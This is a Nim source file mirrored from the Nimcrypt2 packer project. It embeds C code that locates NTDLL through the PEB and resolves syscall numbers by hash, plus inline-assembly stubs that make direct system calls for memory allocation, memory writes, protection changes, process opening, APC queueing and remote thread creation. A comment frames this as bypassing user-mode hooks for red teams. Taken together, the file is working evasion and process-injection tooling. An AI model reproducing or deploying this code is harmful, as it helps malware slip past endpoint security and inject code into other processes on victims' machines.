mirror of
https://github.com/icyguider/Nimcrypt2
synced 2026-06-08 14:46:11 +00:00
388 lines
10 KiB
Nim
388 lines
10 KiB
Nim
{.passC:"-masm=intel".}
|
|
|
|
type
|
|
PS_ATTR_UNION* {.pure, union.} = object
|
|
Value*: ULONG
|
|
ValuePtr*: PVOID
|
|
PS_ATTRIBUTE* {.pure.} = object
|
|
Attribute*: ULONG
|
|
Size*: SIZE_T
|
|
u1*: PS_ATTR_UNION
|
|
ReturnLength*: PSIZE_T
|
|
PPS_ATTRIBUTE* = ptr PS_ATTRIBUTE
|
|
PS_ATTRIBUTE_LIST* {.pure.} = object
|
|
TotalLength*: SIZE_T
|
|
Attributes*: array[2, PS_ATTRIBUTE]
|
|
PPS_ATTRIBUTE_LIST* = ptr PS_ATTRIBUTE_LIST
|
|
KNORMAL_ROUTINE* {.pure.} = object
|
|
NormalContext*: PVOID
|
|
SystemArgument1*: PVOID
|
|
SystemArgument2*: PVOID
|
|
PKNORMAL_ROUTINE* = ptr KNORMAL_ROUTINE
|
|
|
|
{.emit: """
|
|
#pragma once
|
|
|
|
// Code below is adapted from @modexpblog. Read linked article for more details.
|
|
// https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams
|
|
|
|
#ifndef SW2_HEADER_H_
|
|
#define SW2_HEADER_H_
|
|
|
|
#include <windows.h>
|
|
|
|
#define SW2_SEED 0xC37D1755
|
|
#define SW2_ROL8(v) (v << 8 | v >> 24)
|
|
#define SW2_ROR8(v) (v >> 8 | v << 24)
|
|
#define SW2_ROX8(v) ((SW2_SEED % 2) ? SW2_ROL8(v) : SW2_ROR8(v))
|
|
#define SW2_MAX_ENTRIES 500
|
|
#define SW2_RVA2VA(Type, DllBase, Rva) (Type)((ULONG_PTR) DllBase + Rva)
|
|
|
|
// Typedefs are prefixed to avoid pollution.
|
|
|
|
typedef struct _SW2_SYSCALL_ENTRY
|
|
{
|
|
DWORD Hash;
|
|
DWORD Address;
|
|
} SW2_SYSCALL_ENTRY, *PSW2_SYSCALL_ENTRY;
|
|
|
|
typedef struct _SW2_SYSCALL_LIST
|
|
{
|
|
DWORD Count;
|
|
SW2_SYSCALL_ENTRY Entries[SW2_MAX_ENTRIES];
|
|
} SW2_SYSCALL_LIST, *PSW2_SYSCALL_LIST;
|
|
|
|
typedef struct _SW2_PEB_LDR_DATA {
|
|
BYTE Reserved1[8];
|
|
PVOID Reserved2[3];
|
|
LIST_ENTRY InMemoryOrderModuleList;
|
|
} SW2_PEB_LDR_DATA, *PSW2_PEB_LDR_DATA;
|
|
|
|
typedef struct _SW2_LDR_DATA_TABLE_ENTRY {
|
|
PVOID Reserved1[2];
|
|
LIST_ENTRY InMemoryOrderLinks;
|
|
PVOID Reserved2[2];
|
|
PVOID DllBase;
|
|
} SW2_LDR_DATA_TABLE_ENTRY, *PSW2_LDR_DATA_TABLE_ENTRY;
|
|
|
|
typedef struct _SW2_PEB {
|
|
BYTE Reserved1[2];
|
|
BYTE BeingDebugged;
|
|
BYTE Reserved2[1];
|
|
PVOID Reserved3[2];
|
|
PSW2_PEB_LDR_DATA Ldr;
|
|
} SW2_PEB, *PSW2_PEB;
|
|
|
|
DWORD SW2_HashSyscall(PCSTR FunctionName);
|
|
BOOL SW2_PopulateSyscallList();
|
|
EXTERN_C DWORD SW2_GetSyscallNumber(DWORD FunctionHash);
|
|
|
|
#endif
|
|
|
|
|
|
// Code below is adapted from @modexpblog. Read linked article for more details.
|
|
// https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams
|
|
|
|
SW2_SYSCALL_LIST SW2_SyscallList = {0,1};
|
|
|
|
DWORD SW2_HashSyscall(PCSTR FunctionName)
|
|
{
|
|
DWORD i = 0;
|
|
DWORD Hash = SW2_SEED;
|
|
|
|
while (FunctionName[i])
|
|
{
|
|
WORD PartialName = *(WORD*)((ULONG64)FunctionName + i++);
|
|
Hash ^= PartialName + SW2_ROR8(Hash);
|
|
}
|
|
|
|
return Hash;
|
|
}
|
|
|
|
BOOL SW2_PopulateSyscallList()
|
|
{
|
|
// Return early if the list is already populated.
|
|
if (SW2_SyscallList.Count) return TRUE;
|
|
|
|
PSW2_PEB Peb = (PSW2_PEB)__readgsqword(0x60);
|
|
PSW2_PEB_LDR_DATA Ldr = Peb->Ldr;
|
|
PIMAGE_EXPORT_DIRECTORY ExportDirectory = NULL;
|
|
PVOID DllBase = NULL;
|
|
|
|
// Get the DllBase address of NTDLL.dll. NTDLL is not guaranteed to be the second
|
|
// in the list, so it's safer to loop through the full list and find it.
|
|
PSW2_LDR_DATA_TABLE_ENTRY LdrEntry;
|
|
for (LdrEntry = (PSW2_LDR_DATA_TABLE_ENTRY)Ldr->Reserved2[1]; LdrEntry->DllBase != NULL; LdrEntry = (PSW2_LDR_DATA_TABLE_ENTRY)LdrEntry->Reserved1[0])
|
|
{
|
|
DllBase = LdrEntry->DllBase;
|
|
PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)DllBase;
|
|
PIMAGE_NT_HEADERS NtHeaders = SW2_RVA2VA(PIMAGE_NT_HEADERS, DllBase, DosHeader->e_lfanew);
|
|
PIMAGE_DATA_DIRECTORY DataDirectory = (PIMAGE_DATA_DIRECTORY)NtHeaders->OptionalHeader.DataDirectory;
|
|
DWORD VirtualAddress = DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
|
|
if (VirtualAddress == 0) continue;
|
|
|
|
ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)SW2_RVA2VA(ULONG_PTR, DllBase, VirtualAddress);
|
|
|
|
// If this is NTDLL.dll, exit loop.
|
|
PCHAR DllName = SW2_RVA2VA(PCHAR, DllBase, ExportDirectory->Name);
|
|
|
|
if ((*(ULONG*)DllName | 0x20202020) != 'ldtn') continue;
|
|
if ((*(ULONG*)(DllName + 4) | 0x20202020) == 'ld.l') break;
|
|
}
|
|
|
|
if (!ExportDirectory) return FALSE;
|
|
|
|
DWORD NumberOfNames = ExportDirectory->NumberOfNames;
|
|
PDWORD Functions = SW2_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfFunctions);
|
|
PDWORD Names = SW2_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfNames);
|
|
PWORD Ordinals = SW2_RVA2VA(PWORD, DllBase, ExportDirectory->AddressOfNameOrdinals);
|
|
|
|
// Populate SW2_SyscallList with unsorted Zw* entries.
|
|
DWORD i = 0;
|
|
PSW2_SYSCALL_ENTRY Entries = SW2_SyscallList.Entries;
|
|
do
|
|
{
|
|
PCHAR FunctionName = SW2_RVA2VA(PCHAR, DllBase, Names[NumberOfNames - 1]);
|
|
|
|
// Is this a system call?
|
|
if (*(USHORT*)FunctionName == 'wZ')
|
|
{
|
|
Entries[i].Hash = SW2_HashSyscall(FunctionName);
|
|
Entries[i].Address = Functions[Ordinals[NumberOfNames - 1]];
|
|
|
|
i++;
|
|
if (i == SW2_MAX_ENTRIES) break;
|
|
}
|
|
} while (--NumberOfNames);
|
|
|
|
// Save total number of system calls found.
|
|
SW2_SyscallList.Count = i;
|
|
|
|
// Sort the list by address in ascending order.
|
|
for (DWORD i = 0; i < SW2_SyscallList.Count - 1; i++)
|
|
{
|
|
for (DWORD j = 0; j < SW2_SyscallList.Count - i - 1; j++)
|
|
{
|
|
if (Entries[j].Address > Entries[j + 1].Address)
|
|
{
|
|
// Swap entries.
|
|
SW2_SYSCALL_ENTRY TempEntry;
|
|
|
|
TempEntry.Hash = Entries[j].Hash;
|
|
TempEntry.Address = Entries[j].Address;
|
|
|
|
Entries[j].Hash = Entries[j + 1].Hash;
|
|
Entries[j].Address = Entries[j + 1].Address;
|
|
|
|
Entries[j + 1].Hash = TempEntry.Hash;
|
|
Entries[j + 1].Address = TempEntry.Address;
|
|
}
|
|
}
|
|
}
|
|
|
|
return TRUE;
|
|
}
|
|
|
|
EXTERN_C DWORD SW2_GetSyscallNumber(DWORD FunctionHash)
|
|
{
|
|
// Ensure SW2_SyscallList is populated.
|
|
if (!SW2_PopulateSyscallList()) return -1;
|
|
|
|
for (DWORD i = 0; i < SW2_SyscallList.Count; i++)
|
|
{
|
|
if (FunctionHash == SW2_SyscallList.Entries[i].Hash)
|
|
{
|
|
return i;
|
|
}
|
|
}
|
|
|
|
return -1;
|
|
}
|
|
|
|
""".}
|
|
|
|
|
|
|
|
|
|
proc NtWriteVirtualMemory*(ProcessHandle: HANDLE, BaseAddress: PVOID, Buffer: PVOID, NumberOfBytesToWrite: SIZE_T, NumberOfBytesWritten: PSIZE_T): NTSTATUS {.asmNoStackFrame.} =
|
|
asm """
|
|
mov [rsp +8], rcx
|
|
mov [rsp+16], rdx
|
|
mov [rsp+24], r8
|
|
mov [rsp+32], r9
|
|
sub rsp, 0x28
|
|
mov ecx, 0x08B19978D
|
|
call SW2_GetSyscallNumber
|
|
add rsp, 0x28
|
|
mov rcx, [rsp +8]
|
|
mov rdx, [rsp+16]
|
|
mov r8, [rsp+24]
|
|
mov r9, [rsp+32]
|
|
mov r10, rcx
|
|
nop
|
|
syscall
|
|
ret
|
|
"""
|
|
|
|
proc NtAllocateVirtualMemory*(ProcessHandle: HANDLE, BaseAddress: PVOID, ZeroBits: ULONG, RegionSize: PSIZE_T, AllocationType: ULONG, Protect: ULONG): NTSTATUS {.asmNoStackFrame.} =
|
|
asm """
|
|
mov [rsp +8], rcx
|
|
mov [rsp+16], rdx
|
|
mov [rsp+24], r8
|
|
mov [rsp+32], r9
|
|
sub rsp, 0x28
|
|
mov ecx, 0x019991F17
|
|
call SW2_GetSyscallNumber
|
|
add rsp, 0x28
|
|
mov rcx, [rsp +8]
|
|
mov rdx, [rsp+16]
|
|
mov r8, [rsp+24]
|
|
mov r9, [rsp+32]
|
|
mov r10, rcx
|
|
nop
|
|
syscall
|
|
ret
|
|
"""
|
|
|
|
proc NtProtectVirtualMemory*(ProcessHandle: HANDLE, BaseAddress: PVOID, RegionSize: PSIZE_T, NewProtect: ULONG, OldProtect: PULONG): NTSTATUS {.asmNoStackFrame.} =
|
|
asm """
|
|
mov [rsp +8], rcx
|
|
mov [rsp+16], rdx
|
|
mov [rsp+24], r8
|
|
mov [rsp+32], r9
|
|
sub rsp, 0x28
|
|
mov ecx, 0x003950907
|
|
call SW2_GetSyscallNumber
|
|
add rsp, 0x28
|
|
mov rcx, [rsp +8]
|
|
mov rdx, [rsp+16]
|
|
mov r8, [rsp+24]
|
|
mov r9, [rsp+32]
|
|
mov r10, rcx
|
|
nop
|
|
syscall
|
|
ret
|
|
"""
|
|
|
|
proc NtOpenProcess*(ProcessHandle: PHANDLE, DesiredAccess: ACCESS_MASK, ObjectAttributes: POBJECT_ATTRIBUTES, ClientId: PCLIENT_ID): NTSTATUS {.asmNoStackFrame.} =
|
|
asm """
|
|
mov [rsp +8], rcx
|
|
mov [rsp+16], rdx
|
|
mov [rsp+24], r8
|
|
mov [rsp+32], r9
|
|
sub rsp, 0x28
|
|
mov ecx, 0x0EDAFCA3F
|
|
call SW2_GetSyscallNumber
|
|
add rsp, 0x28
|
|
mov rcx, [rsp +8]
|
|
mov rdx, [rsp+16]
|
|
mov r8, [rsp+24]
|
|
mov r9, [rsp+32]
|
|
mov r10, rcx
|
|
nop
|
|
syscall
|
|
ret
|
|
"""
|
|
|
|
proc NtQueueApcThread*(ThreadHandle: HANDLE, ApcRoutine: PKNORMAL_ROUTINE, ApcArgument1: PVOID, ApcArgument2: PVOID, ApcArgument3: PVOID): NTSTATUS {.asmNoStackFrame.} =
|
|
asm """
|
|
mov [rsp +8], rcx
|
|
mov [rsp+16], rdx
|
|
mov [rsp+24], r8
|
|
mov [rsp+32], r9
|
|
sub rsp, 0x28
|
|
mov ecx, 0x0E24CEAEF
|
|
call SW2_GetSyscallNumber
|
|
add rsp, 0x28
|
|
mov rcx, [rsp +8]
|
|
mov rdx, [rsp+16]
|
|
mov r8, [rsp+24]
|
|
mov r9, [rsp+32]
|
|
mov r10, rcx
|
|
nop
|
|
syscall
|
|
ret
|
|
"""
|
|
|
|
proc NtAlertResumeThread*(ThreadHandle: HANDLE, PreviousSuspendCount: PULONG): NTSTATUS {.asmNoStackFrame.} =
|
|
asm """
|
|
mov [rsp +8], rcx
|
|
mov [rsp+16], rdx
|
|
mov [rsp+24], r8
|
|
mov [rsp+32], r9
|
|
sub rsp, 0x28
|
|
mov ecx, 0x0667614E0
|
|
call SW2_GetSyscallNumber
|
|
add rsp, 0x28
|
|
mov rcx, [rsp +8]
|
|
mov rdx, [rsp+16]
|
|
mov r8, [rsp+24]
|
|
mov r9, [rsp+32]
|
|
mov r10, rcx
|
|
nop
|
|
syscall
|
|
ret
|
|
"""
|
|
|
|
proc NtClose*(Handle: HANDLE): NTSTATUS {.asmNoStackFrame.} =
|
|
asm """
|
|
mov [rsp +8], rcx
|
|
mov [rsp+16], rdx
|
|
mov [rsp+24], r8
|
|
mov [rsp+32], r9
|
|
sub rsp, 0x28
|
|
mov ecx, 0x0088A6285
|
|
call SW2_GetSyscallNumber
|
|
add rsp, 0x28
|
|
mov rcx, [rsp +8]
|
|
mov rdx, [rsp+16]
|
|
mov r8, [rsp+24]
|
|
mov r9, [rsp+32]
|
|
mov r10, rcx
|
|
nop
|
|
syscall
|
|
ret
|
|
"""
|
|
|
|
proc NtCreateThreadEx*(ThreadHandle: PHANDLE, DesiredAccess: ACCESS_MASK, ObjectAttributes: POBJECT_ATTRIBUTES, ProcessHandle: HANDLE, StartRoutine: PVOID, Argument: PVOID, CreateFlags: ULONG, ZeroBits: SIZE_T, StackSize: SIZE_T, MaximumStackSize: SIZE_T, AttributeList: PPS_ATTRIBUTE_LIST): NTSTATUS {.asmNoStackFrame.} =
|
|
asm """
|
|
mov [rsp +8], rcx
|
|
mov [rsp+16], rdx
|
|
mov [rsp+24], r8
|
|
mov [rsp+32], r9
|
|
sub rsp, 0x28
|
|
mov ecx, 0x0C85E88A6
|
|
call SW2_GetSyscallNumber
|
|
add rsp, 0x28
|
|
mov rcx, [rsp +8]
|
|
mov rdx, [rsp+16]
|
|
mov r8, [rsp+24]
|
|
mov r9, [rsp+32]
|
|
mov r10, rcx
|
|
nop
|
|
syscall
|
|
ret
|
|
"""
|
|
|
|
proc NtWaitForSingleObject*(ObjectHandle: HANDLE, Alertable: BOOLEAN, TimeOut: PLARGE_INTEGER): NTSTATUS {.asmNoStackFrame.} =
|
|
asm """
|
|
mov [rsp +8], rcx
|
|
mov [rsp+16], rdx
|
|
mov [rsp+24], r8
|
|
mov [rsp+32], r9
|
|
sub rsp, 0x28
|
|
mov ecx, 0x008A92015
|
|
call SW2_GetSyscallNumber
|
|
add rsp, 0x28
|
|
mov rcx, [rsp +8]
|
|
mov rdx, [rsp+16]
|
|
mov r8, [rsp+24]
|
|
mov r9, [rsp+32]
|
|
mov r10, rcx
|
|
nop
|
|
syscall
|
|
ret
|
|
"""
|
|
|
|
|